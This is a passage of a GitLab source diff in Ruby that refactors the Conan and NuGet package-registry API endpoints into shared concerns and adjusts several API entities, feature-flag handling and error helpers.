- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- delete do
- authorize!(:destroy_package, project)
-
- track_package_event('delete_package', :conan, category: 'API::ConanPackages')
-
- package.destroy
- end
- end
-
- params do
- requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
- requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
- requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
- requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
- requires :recipe_revision, type: String, regexp: CONAN_REVISION_REGEX, desc: 'Conan Recipe Revision'
- end
- namespace 'files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision', requirements: PACKAGE_REQUIREMENTS do
- before do
- authenticate_non_get!
- end
-
- params do
- requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
- end
- namespace 'export/:file_name', requirements: FILE_NAME_REQUIREMENTS do
- desc 'Download recipe files' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get do
- download_package_file(:recipe_file)
- end
-
- desc 'Upload recipe package files' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- params do
- requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put do
- upload_package_file(:recipe_file)
- end
-
- desc 'Workhorse authorize the conan recipe file' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put 'authorize' do
- authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size)
- end
- end
-
- params do
- requires :conan_package_reference, type: String, desc: 'Conan Package ID'
- requires :package_revision, type: String, desc: 'Conan Package Revision'
- requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
- end
- namespace 'package/:conan_package_reference/:package_revision/:file_name', requirements: FILE_NAME_REQUIREMENTS do
- desc 'Download package files' do
- detail 'This feature was introduced in GitLab 12.5'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- get do
- download_package_file(:package_file)
- end
-
- desc 'Workhorse authorize the conan package file' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put 'authorize' do
- authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size)
- end
-
- desc 'Upload package files' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- params do
- requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
- end
-
- route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
-
- put do
- upload_package_file(:package_file)
- end
- end
- end
- end
- end
-end
diff --git a/lib/api/conan_project_packages.rb b/lib/api/conan_project_packages.rb
index db8cd187811..636b5dca5ed 100644
--- a/lib/api/conan_project_packages.rb
+++ b/lib/api/conan_project_packages.rb
@@ -9,7 +9,7 @@ module API
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
namespace ':id/packages/conan/v1' do
- include ConanPackageEndpoints
+ include ::API::Concerns::Packages::ConanEndpoints
end
end
end
diff --git a/lib/api/concerns/packages/conan_endpoints.rb b/lib/api/concerns/packages/conan_endpoints.rb
new file mode 100644
index 00000000000..6c8b3a1ba4a
--- /dev/null
+++ b/lib/api/concerns/packages/conan_endpoints.rb
@@ -0,0 +1,355 @@
+# frozen_string_literal: true
+
+# Conan Package Manager Client API
+#
+# These API endpoints are not consumed directly by users, so there is no documentation for the
+# individual endpoints. They are called by the Conan package manager client when users run commands
+# like `conan install` or `conan upload`. The usage of the GitLab Conan repository is documented here:
+# https://docs.gitlab.com/ee/user/packages/conan_repository/#installing-a-package
+#
+# Technical debt: https://gitlab.com/gitlab-org/gitlab/issues/35798
+module API
+ module Concerns
+ module Packages
+ module ConanEndpoints
+ extend ActiveSupport::Concern
+
+ PACKAGE_REQUIREMENTS = {
+ package_name: API::NO_SLASH_URL_PART_REGEX,
+ package_version: API::NO_SLASH_URL_PART_REGEX,
+ package_username: API::NO_SLASH_URL_PART_REGEX,
+ package_channel: API::NO_SLASH_URL_PART_REGEX
+ }.freeze
+
+ FILE_NAME_REQUIREMENTS = {
+ file_name: API::NO_SLASH_URL_PART_REGEX
+ }.freeze
+
+ PACKAGE_COMPONENT_REGEX = Gitlab::Regex.conan_recipe_component_regex
+ CONAN_REVISION_REGEX = Gitlab::Regex.conan_revision_regex
+
+ CONAN_FILES = (Gitlab::Regex::Packages::CONAN_RECIPE_FILES + Gitlab::Regex::Packages::CONAN_PACKAGE_FILES).freeze
+
+ included do
+ feature_category :package_registry
+
+ helpers ::API::Helpers::PackagesManagerClientsHelpers
+ helpers ::API::Helpers::Packages::Conan::ApiHelpers
+ helpers ::API::Helpers::RelatedResourcesHelpers
+
+ before do
+ require_packages_enabled!
+
+ # Personal access token will be extracted from Bearer or Basic authorization
+ # in the overridden find_personal_access_token or find_user_from_job_token helpers
+ authenticate!
+ end
+
+ desc 'Ping the Conan API' do
+ detail 'This feature was introduced in GitLab 12.2'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'ping' do
+ header 'X-Conan-Server-Capabilities', [].join(',')
+ end
+
+ desc 'Search for packages' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ params do
+ requires :q, type: String, desc: 'Search query'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'conans/search' do
+ service = ::Packages::Conan::SearchService.new(current_user, query: params[:q]).execute
+ service.payload
+ end
+
+ namespace 'users' do
+ format :txt
+
+ desc 'Authenticate user against conan CLI' do
+ detail 'This feature was introduced in GitLab 12.2'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'authenticate' do
+ unauthorized! unless token
+
+ token.to_jwt
+ end
+
+ desc 'Check for valid user credentials per conan CLI' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'check_credentials' do
+ authenticate!
+ :ok
+ end
+ end
+
+ params do
+ requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
+ requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
+ requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
+ requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
+ end
+ namespace 'conans/:package_name/:package_version/:package_username/:package_channel', requirements: PACKAGE_REQUIREMENTS do
+ # Get the snapshot
+ #
+ # the snapshot is a hash of { filename: md5 hash }
+ # md5 hash is the has of that file. This hash is used to diff the files existing on the client
+ # to determine which client files need to be uploaded if no recipe exists the snapshot is empty
+ desc 'Package Snapshot' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'packages/:conan_package_reference' do
+ authorize!(:read_package, project)
+
+ presenter = ::Packages::Conan::PackagePresenter.new(
+ package,
+ current_user,
+ project,
+ conan_package_reference: params[:conan_package_reference]
+ )
+
+ present presenter, with: ::API::Entities::ConanPackage::ConanPackageSnapshot
+ end
+
+ desc 'Recipe Snapshot' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get do
+ authorize!(:read_package, project)
+
+ presenter = ::Packages::Conan::PackagePresenter.new(package, current_user, project)
+
+ present presenter, with: ::API::Entities::ConanPackage::ConanRecipeSnapshot
+ end
+
+ # Get the manifest
+ # returns the download urls for the existing recipe in the registry
+ #
+ # the manifest is a hash of { filename: url }
+ # where the url is the download url for the file
+ desc 'Package Digest' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'packages/:conan_package_reference/digest' do
+ present_package_download_urls
+ end
+
+ desc 'Recipe Digest' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'digest' do
+ present_recipe_download_urls
+ end
+
+ # Get the download urls
+ #
+ # returns the download urls for the existing recipe or package in the registry
+ #
+ # the manifest is a hash of { filename: url }
+ # where the url is the download url for the file
+ desc 'Package Download Urls' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'packages/:conan_package_reference/download_urls' do
+ present_package_download_urls
+ end
+
+ desc 'Recipe Download Urls' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'download_urls' do
+ present_recipe_download_urls
+ end
+
+ # Get the upload urls
+ #
+ # request body contains { filename: filesize } where the filename is the
+ # name of the file the conan client is requesting to upload
+ #
+ # returns { filename: url }
+ # where the url is the upload url for the file that the conan client will use
+ desc 'Package Upload Urls' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan package ID'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ post 'packages/:conan_package_reference/upload_urls' do
+ authorize!(:read_package, project)
+
+ status 200
+ present package_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
+ end
+
+ desc 'Recipe Upload Urls' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ post 'upload_urls' do
+ authorize!(:read_package, project)
+
+ status 200
+ present recipe_upload_urls, with: ::API::Entities::ConanPackage::ConanUploadUrls
+ end
+
+ desc 'Delete Package' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ delete do
+ authorize!(:destroy_package, project)
+
+ track_package_event('delete_package', :conan, category: 'API::ConanPackages')
+
+ package.destroy
+ end
+ end
+
+ params do
+ requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
+ requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
+ requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
+ requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
+ requires :recipe_revision, type: String, regexp: CONAN_REVISION_REGEX, desc: 'Conan Recipe Revision'
+ end
+ namespace 'files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision', requirements: PACKAGE_REQUIREMENTS do
+ before do
+ authenticate_non_get!
+ end
+
+ params do
+ requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
+ end
+ namespace 'export/:file_name', requirements: FILE_NAME_REQUIREMENTS do
+ desc 'Download recipe files' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get do
+ download_package_file(:recipe_file)
+ end
+
+ desc 'Upload recipe package files' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ params do
+ requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put do
+ upload_package_file(:recipe_file)
+ end
+
+ desc 'Workhorse authorize the conan recipe file' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put 'authorize' do
+ authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size)
+ end
+ end
+
+ params do
+ requires :conan_package_reference, type: String, desc: 'Conan Package ID'
+ requires :package_revision, type: String, desc: 'Conan Package Revision'
+ requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES
+ end
+ namespace 'package/:conan_package_reference/:package_revision/:file_name', requirements: FILE_NAME_REQUIREMENTS do
+ desc 'Download package files' do
+ detail 'This feature was introduced in GitLab 12.5'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get do
+ download_package_file(:package_file)
+ end
+
+ desc 'Workhorse authorize the conan package file' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put 'authorize' do
+ authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size)
+ end
+
+ desc 'Upload package files' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ params do
+ requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ put do
+ upload_package_file(:package_file)
+ end
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/concerns/packages/npm_endpoints.rb b/lib/api/concerns/packages/npm_endpoints.rb
index a91db93b182..833288c6013 100644
--- a/lib/api/concerns/packages/npm_endpoints.rb
+++ b/lib/api/concerns/packages/npm_endpoints.rb
@@ -37,7 +37,7 @@ module API
get 'dist-tags', format: false, requirements: ::API::Helpers::Packages::Npm::NPM_ENDPOINT_REQUIREMENTS do
package_name = params[:package_name]
- bad_request!('Package Name') if package_name.blank?
+ bad_request_missing_attribute!('Package Name') if package_name.blank?
authorize_read_package!(project)
@@ -62,9 +62,9 @@ module API
version = env['api.request.body']
tag = params[:tag]
- bad_request!('Package Name') if package_name.blank?
- bad_request!('Version') if version.blank?
- bad_request!('Tag') if tag.blank?
+ bad_request_missing_attribute!('Package Name') if package_name.blank?
+ bad_request_missing_attribute!('Version') if version.blank?
+ bad_request_missing_attribute!('Tag') if tag.blank?
authorize_create_package!(project)
@@ -85,8 +85,8 @@ module API
package_name = params[:package_name]
tag = params[:tag]
- bad_request!('Package Name') if package_name.blank?
- bad_request!('Tag') if tag.blank?
+ bad_request_missing_attribute!('Package Name') if package_name.blank?
+ bad_request_missing_attribute!('Tag') if tag.blank?
authorize_destroy_package!(project)
diff --git a/lib/api/concerns/packages/nuget_endpoints.rb b/lib/api/concerns/packages/nuget_endpoints.rb
new file mode 100644
index 00000000000..5177c4d23c0
--- /dev/null
+++ b/lib/api/concerns/packages/nuget_endpoints.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+#
+# NuGet Package Manager Client API
+#
+# These API endpoints are not consumed directly by users, so there is no documentation for the
+# individual endpoints. They are called by the NuGet package manager client when users run commands
+# like `nuget install` or `nuget push`. The usage of the GitLab NuGet registry is documented here:
+# https://docs.gitlab.com/ee/user/packages/nuget_repository/
+#
+# Technical debt: https://gitlab.com/gitlab-org/gitlab/issues/35798
+module API
+ module Concerns
+ module Packages
+ module NugetEndpoints
+ extend ActiveSupport::Concern
+
+ POSITIVE_INTEGER_REGEX = %r{\A[1-9]\d*\z}.freeze
+ NON_NEGATIVE_INTEGER_REGEX = %r{\A0|[1-9]\d*\z}.freeze
+
+ included do
+ helpers do
+ def find_packages
+ packages = package_finder.execute
+
+ not_found!('Packages') unless packages.exists?
+
+ packages
+ end
+
+ def find_package
+ package = package_finder(package_version: params[:package_version]).execute
+ .first
+
+ not_found!('Package') unless package
+
+ package
+ end
+
+ def package_finder(finder_params = {})
+ ::Packages::Nuget::PackageFinder.new(
+ authorized_user_project,
+ **finder_params.merge(package_name: params[:package_name])
+ )
+ end
+ end
+
+ # https://docs.microsoft.com/en-us/nuget/api/service-index
+ desc 'The NuGet Service Index' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ get 'index', format: :json do
+ authorize_read_package!(authorized_user_project)
+ track_package_event('cli_metadata', :nuget, category: 'API::NugetPackages')
+
+ present ::Packages::Nuget::ServiceIndexPresenter.new(authorized_user_project),
+ with: ::API::Entities::Nuget::ServiceIndex
+ end
+
+ # https://docs.microsoft.com/en-us/nuget/api/registration-base-url-resource
+ params do
+ requires :package_name, type: String, desc: 'The NuGet package name', regexp: API::NO_SLASH_URL_PART_REGEX
+ end
+ namespace '/metadata/*package_name' do
+ before do
+ authorize_read_package!(authorized_user_project)
+ end
+
+ desc 'The NuGet Metadata Service - Package name level' do
+ detail 'This feature was introduced in GitLab 12.8'
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ get 'index', format: :json do
+ present ::Packages::Nuget::PackagesMetadataPresenter.new(find_packages),
+ with: ::API::Entities::Nuget::PackagesMetadata
+ end
+
+ desc 'The NuGet Metadata Service - Package name and version level' do
+ detail 'This feature was introduced in GitLab 12.8'
+ end
+ params do
+ requires :package_version, type: String, desc: 'The NuGet package version', regexp: API::NO_SLASH_URL_PART_REGEX
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ get '*package_version', format: :json do
+ present ::Packages::Nuget::PackageMetadataPresenter.new(find_package),
+ with: ::API::Entities::Nuget::PackageMetadata
+ end
+ end
+
+ # https://docs.microsoft.com/en-us/nuget/api/search-query-service-resource
+ params do
+ requires :q, type: String, desc: 'The search term'
+ optional :skip, type: Integer, desc: 'The number of results to skip', default: 0, regexp: NON_NEGATIVE_INTEGER_REGEX
+ optional :take, type: Integer, desc: 'The number of results to return', default: Kaminari.config.default_per_page, regexp: POSITIVE_INTEGER_REGEX
+ optional :prerelease, type: ::Grape::API::Boolean, desc: 'Include prerelease versions', default: true
+ end
+ namespace '/query' do
+ before do
+ authorize_read_package!(authorized_user_project)
+ end
+
+ desc 'The NuGet Search Service' do
+ detail 'This feature was introduced in GitLab 12.8'
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ get format: :json do
+ search_options = {
+ include_prerelease_versions: params[:prerelease],
+ per_page: params[:take],
+ padding: params[:skip]
+ }
+ search = ::Packages::Nuget::SearchService
+ .new(authorized_user_project, params[:q], search_options)
+ .execute
+
+ track_package_event('search_package', :nuget, category: 'API::NugetPackages')
+
+ present ::Packages::Nuget::SearchResultsPresenter.new(search),
+ with: ::API::Entities::Nuget::SearchResults
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/discussions.rb b/lib/api/discussions.rb
index 4c4ec200060..580d546b360 100644
--- a/lib/api/discussions.rb
+++ b/lib/api/discussions.rb
@@ -104,6 +104,7 @@ module API
position: params[:position],
id_key => noteable.id
}
+ opts[:commit_id] = params[:commit_id] if noteable.is_a?(MergeRequest) && type == 'DiffNote'
note = create_note(noteable, opts)
diff --git a/lib/api/entities/cluster.rb b/lib/api/entities/cluster.rb
index 67459092a33..b7e76e763f7 100644
--- a/lib/api/entities/cluster.rb
+++ b/lib/api/entities/cluster.rb
@@ -3,7 +3,7 @@
module API
module Entities
class Cluster < Grape::Entity
- expose :id, :name, :created_at, :domain
+ expose :id, :name, :created_at, :domain, :enabled, :managed
expose :provider_type, :platform_type, :environment_scope, :cluster_type, :namespace_per_environment
expose :user, using: Entities::UserBasic
expose :platform_kubernetes, using: Entities::Platform::Kubernetes
diff --git a/lib/api/entities/feature.rb b/lib/api/entities/feature.rb
index 618a7be9c7b..d1151849cd7 100644
--- a/lib/api/entities/feature.rb
+++ b/lib/api/entities/feature.rb
@@ -17,6 +17,16 @@ module API
{ key: gate.key, value: value }
end.compact
end
+
+ class Definition < Grape::Entity
+ ::Feature::Definition::PARAMS.each do |param|
+ expose param
+ end
+ end
+
+ expose :definition, using: Definition do |feature|
+ ::Feature::Definition.definitions[feature.name.to_sym]
+ end
end
end
end
diff --git a/lib/api/entities/feature_flag.rb b/lib/api/entities/feature_flag.rb
index 82fdb20af00..f383eabd5dc 100644
--- a/lib/api/entities/feature_flag.rb
+++ b/lib/api/entities/feature_flag.rb
@@ -6,11 +6,11 @@ module API
expose :name
expose :description
expose :active
- expose :version, if: :feature_flags_new_version_enabled
+ expose :version
expose :created_at
expose :updated_at
expose :scopes, using: FeatureFlag::LegacyScope
- expose :strategies, using: FeatureFlag::Strategy, if: :feature_flags_new_version_enabled
+ expose :strategies, using: FeatureFlag::Strategy
end
end
end
diff --git a/lib/api/entities/issue.rb b/lib/api/entities/issue.rb
index 5f2609cf68b..82102854394 100644
--- a/lib/api/entities/issue.rb
+++ b/lib/api/entities/issue.rb
@@ -43,6 +43,7 @@ module API
end
expose :moved_to_id
+ expose :service_desk_reply_to
end
end
end
diff --git a/lib/api/entities/merge_request_basic.rb b/lib/api/entities/merge_request_basic.rb
index 69523e3637b..7f1b5b87725 100644
--- a/lib/api/entities/merge_request_basic.rb
+++ b/lib/api/entities/merge_request_basic.rb
@@ -27,6 +27,7 @@ module API
expose(:downvotes) { |merge_request, options| issuable_metadata.downvotes }
expose :author, :assignees, :assignee, using: Entities::UserBasic
+ expose :reviewers, if: -> (merge_request, _) { merge_request.allows_reviewers? }, using: Entities::UserBasic
expose :source_project_id, :target_project_id
expose :labels do |merge_request, options|
if options[:with_labels_details]
diff --git a/lib/api/entities/note.rb b/lib/api/entities/note.rb
index f22ab73afd0..9a60c04220d 100644
--- a/lib/api/entities/note.rb
+++ b/lib/api/entities/note.rb
@@ -14,6 +14,7 @@ module API
expose :created_at, :updated_at
expose :system?, as: :system
expose :noteable_id, :noteable_type
+ expose :commit_id, if: ->(note, options) { note.noteable_type == "MergeRequest" && note.is_a?(DiffNote) }
expose :position, if: ->(note, options) { note.is_a?(DiffNote) } do |note|
note.position.to_h
diff --git a/lib/api/entities/project.rb b/lib/api/entities/project.rb
index 82a44c75382..317caefe0a1 100644
--- a/lib/api/entities/project.rb
+++ b/lib/api/entities/project.rb
@@ -67,6 +67,8 @@ module API
expose(:builds_access_level) { |project, options| project.project_feature.string_access_level(:builds) }
expose(:snippets_access_level) { |project, options| project.project_feature.string_access_level(:snippets) }
expose(:pages_access_level) { |project, options| project.project_feature.string_access_level(:pages) }
+ expose(:operations_access_level) { |project, options| project.project_feature.string_access_level(:operations) }
+ expose(:analytics_access_level) { |project, options| project.project_feature.string_access_level(:analytics) }
expose :emails_disabled
expose :shared_runners_enabled
diff --git a/lib/api/entities/project_import_status.rb b/lib/api/entities/project_import_status.rb
index f92593da3fa..e79c1cdf1a2 100644
--- a/lib/api/entities/project_import_status.rb
+++ b/lib/api/entities/project_import_status.rb
@@ -12,9 +12,8 @@ module API
project.import_state&.relation_hard_failures(limit: 100) || []
end
- # TODO: Use `expose_nil` once we upgrade the grape-entity gem
- expose :import_error, if: lambda { |project, _ops| project.import_state&.last_error } do |project|
- project.import_state.last_error
+ expose :import_error do |project, _options|
+ project.import_state&.last_error
end
end
end
diff --git a/lib/api/entities/project_snippet.rb b/lib/api/entities/project_snippet.rb
index 8ed87e51375..253fcfcf38f 100644
--- a/lib/api/entities/project_snippet.rb
+++ b/lib/api/entities/project_snippet.rb
@@ -1,4 +1,4 @@
-# frozen_String_literal: true
+# frozen_string_literal: true
module API
module Entities
diff --git a/lib/api/entities/project_statistics.rb b/lib/api/entities/project_statistics.rb
index 32201e88eaf..70980e670b0 100644
--- a/lib/api/entities/project_statistics.rb
+++ b/lib/api/entities/project_statistics.rb
@@ -10,6 +10,7 @@ module API
expose :lfs_objects_size
expose :build_artifacts_size, as: :job_artifacts_size
expose :snippets_size
+ expose :packages_size
end
end
end
diff --git a/lib/api/entities/related_issue.rb b/lib/api/entities/related_issue.rb
index 491c606bd49..60793fed5e0 100644
--- a/lib/api/entities/related_issue.rb
+++ b/lib/api/entities/related_issue.rb
@@ -5,6 +5,8 @@ module API
class RelatedIssue < ::API::Entities::Issue
expose :issue_link_id
expose :issue_link_type, as: :link_type
+ expose :issue_link_created_at, as: :link_created_at
+ expose :issue_link_updated_at, as: :link_updated_at
end
end
end
diff --git a/lib/api/feature_flags.rb b/lib/api/feature_flags.rb
index 67168ba9be6..6fdc4535be3 100644
--- a/lib/api/feature_flags.rb
+++ b/lib/api/feature_flags.rb
@@ -62,8 +62,6 @@ module API
attrs = declared_params(include_missing: false)
- ensure_post_version_2_flags_enabled! if attrs[:version] == 'new_version_flag'
-
rename_key(attrs, :scopes, :scopes_attributes)
rename_key(attrs, :strategies, :strategies_attributes)
update_value(attrs, :strategies_attributes) do |strategies|
@@ -143,7 +141,7 @@ module API
end
desc 'Update a feature flag' do
- detail 'This feature will be introduced in GitLab 13.1 if feature_flags_new_version feature flag is removed'
+ detail 'This feature was introduced in GitLab 13.2'
success ::API::Entities::FeatureFlag
end
params do
@@ -163,7 +161,6 @@ module API
end
end
put do
- not_found! unless feature_flags_new_version_enabled?
authorize_update_feature_flag!
render_api_error!('PUT operations are not supported for legacy feature flags', :unprocessable_entity) if feature_flag.legacy_flag?
@@ -228,32 +225,17 @@ module API
def present_entity(result)
present result,
- with: ::API::Entities::FeatureFlag,
- feature_flags_new_version_enabled: feature_flags_new_version_enabled?
- end
-
- def ensure_post_version_2_flags_enabled!
- unless feature_flags_new_version_enabled?
- render_api_error!('Version 2 flags are not enabled for this project', :unprocessable_entity)
- end
+ with: ::API::Entities::FeatureFlag
end
def feature_flag
- @feature_flag ||= if feature_flags_new_version_enabled?
- user_project.operations_feature_flags.find_by_name!(params[:feature_flag_name])
- else
- user_project.operations_feature_flags.legacy_flag.find_by_name!(params[:feature_flag_name])
- end
+ @feature_flag ||= user_project.operations_feature_flags.find_by_name!(params[:feature_flag_name])
end
def new_version_flag_present?
user_project.operations_feature_flags.new_version_flag.find_by_name(params[:name]).present?
end
- def feature_flags_new_version_enabled?
- Feature.enabled?(:feature_flags_new_version, user_project, default_enabled: true)
- end
-
def rename_key(hash, old_key, new_key)
hash[new_key] = hash.delete(old_key) if hash.key?(old_key)
hash
diff --git a/lib/api/feature_flags_user_lists.rb b/lib/api/feature_flags_user_lists.rb
index 086bcbcdc89..8577da173b1 100644
--- a/lib/api/feature_flags_user_lists.rb
+++ b/lib/api/feature_flags_user_lists.rb
@@ -54,7 +54,7 @@ module API
end
params do
- requires :iid, type: String, desc: 'The internal id of the user list'
+ requires :iid, type: String, desc: 'The internal ID of the user list'
end
resource 'feature_flags_user_lists/:iid' do
desc 'Get a single feature flag user list belonging to a project' do
diff --git a/lib/api/features.rb b/lib/api/features.rb
index 2c2e3e3d0c9..57bd7c38ad2 100644
--- a/lib/api/features.rb
+++ b/lib/api/features.rb
@@ -46,6 +46,15 @@ module API
present features, with: Entities::Feature, current_user: current_user
end
+ desc 'Get a list of all feature definitions' do
+ success Entities::Feature::Definition
+ end
+ get :definitions do
+ definitions = ::Feature::Definition.definitions.values.map(&:to_h)
+
+ present definitions, with: Entities::Feature::Definition, current_user: current_user
+ end
+
desc 'Set the gate value for the given feature' do
success Entities::Feature
end
@@ -56,6 +65,7 @@ module API
optional :user, type: String, desc: 'A GitLab username'
optional :group, type: String, desc: "A GitLab group's path, such as 'gitlab-org'"
optional :project, type: String, desc: 'A projects path, like gitlab-org/gitlab-ce'
+ optional :force, type: Boolean, desc: 'Skip feature flag validation checks, ie. YAML definition'
mutually_exclusive :key, :feature_group
mutually_exclusive :key, :user
@@ -63,9 +73,8 @@ module API
mutually_exclusive :key, :project
end
post ':name' do
- validate_feature_flag_name!(params[:name])
+ validate_feature_flag_name!(params[:name]) unless params[:force]
- feature = Feature.get(params[:name]) # rubocop:disable Gitlab/AvoidFeatureGet
targets = gate_targets(params)
value = gate_value(params)
key = gate_key(params)
@@ -73,25 +82,26 @@ module API
case value
when true
if gate_specified?(params)
- targets.each { |target| feature.enable(target) }
+ targets.each { |target| Feature.enable(params[:name], target) }
else
- feature.enable
+ Feature.enable(params[:name])
end
when false
if gate_specified?(params)
- targets.each { |target| feature.disable(target) }
+ targets.each { |target| Feature.disable(params[:name], target) }
else
- feature.disable
+ Feature.disable(params[:name])
end
else
if key == :percentage_of_actors
- feature.enable_percentage_of_actors(value)
+ Feature.enable_percentage_of_actors(params[:name], value)
else
- feature.enable_percentage_of_time(value)
+ Feature.enable_percentage_of_time(params[:name], value)
end
end
- present feature, with: Entities::Feature, current_user: current_user
+ present Feature.get(params[:name]), # rubocop:disable Gitlab/AvoidFeatureGet
+ with: Entities::Feature, current_user: current_user
end
desc 'Remove the gate value for the given feature'
diff --git a/lib/api/go_proxy.rb b/lib/api/go_proxy.rb
index 8fb4c561c40..2d978019f2a 100755
--- a/lib/api/go_proxy.rb
+++ b/lib/api/go_proxy.rb
@@ -48,7 +48,7 @@ module API
not_found! unless Feature.enabled?(:go_proxy, user_project)
module_name = case_decode params[:module_name]
- bad_request!('Module Name') if module_name.blank?
+ bad_request_missing_attribute!('Module Name') if module_name.blank?
mod = ::Packages::Go::ModuleFinder.new(user_project, module_name).execute
diff --git a/lib/api/group_boards.rb b/lib/api/group_boards.rb
index ac5a1a2ce94..2bfd98a5b69 100644
--- a/lib/api/group_boards.rb
+++ b/lib/api/group_boards.rb
@@ -83,8 +83,6 @@ module API
use :list_creation_params
end
post '/lists' do
- authorize_list_type_resource!
-
